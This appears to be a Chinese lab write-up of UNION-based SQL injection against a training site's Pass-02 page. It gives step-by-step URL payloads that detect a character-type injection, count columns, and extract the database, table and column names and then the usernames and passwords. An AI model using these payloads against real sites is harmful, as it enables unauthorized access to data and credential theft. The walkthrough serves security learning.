sql_lab中sql注入之union联合注入

1.判断注入类型

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1没有回显

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1 and 1=1

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1 and 1=2 and1=1和and1=2回显效果一致,则判断不是数字型

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1'' 有回显

则判断出是字符型注入,且注入是'注入

2.判断注入点

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' and 1=1 --+ 表示and两边结果为真,返回结果正常

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' and 1=2 --+ 表示一边为真一边为假,没有返回值

则判断是sql注入

3.判断字段数量

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' order by 5 --+ 没有结果

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' order by 4 --+ 没有结果

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' order by 3 --+ 有回显结果

说明该数据库的字段数量是3

4.用union联合查询,判断回显点

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,2,3 --+

5.查询使用的是那个数据库

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,database(),3 --+

6.查询表名

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema="security" --+

查询到了security数据库里面的所有表名

7.查询users表里面的字段名

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" --+

8.查username和password

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

相关推荐
洛神灬殇13 分钟前
【LLM大模型技术专题】「入门到精通系列教程」基于ai-openai-spring-boot-starter集成开发实战指南
网络·数据库·微服务·云原生·架构
小鸡脚来咯24 分钟前
redis分片集群架构
数据库·redis·架构
christine-rr1 小时前
征文投稿:如何写一份实用的技术文档?——以软件配置为例
运维·前端·网络·数据库·软件构建
海尔辛1 小时前
SQL 基础入门
数据库·sql
betazhou3 小时前
有没有 MariaDB 5.5.56 对应 MySQL CONNECTION_CONTROL 插件
linux·数据库·mysql·oracle·mariadb
Elohim8153 小时前
数据库SQLite基础
数据库·sqlite
TDengine (老段)3 小时前
TDengine 支持的平台汇总
大数据·数据库·物联网·时序数据库·iot·tdengine·涛思数据
大熊猫侯佩4 小时前
由一个 SwiftData “诡异”运行时崩溃而引发的钩深索隐(四)
数据库·swiftui·apple watch
想用offer打牌4 小时前
面试官问:Redis和MySQL数据一致,为什么还需要MySQL?🤠
数据库·redis·mysql
chen.@-@4 小时前
后端下载限速(redis记录实时并发,bucket4j动态限速)
数据库·redis·缓存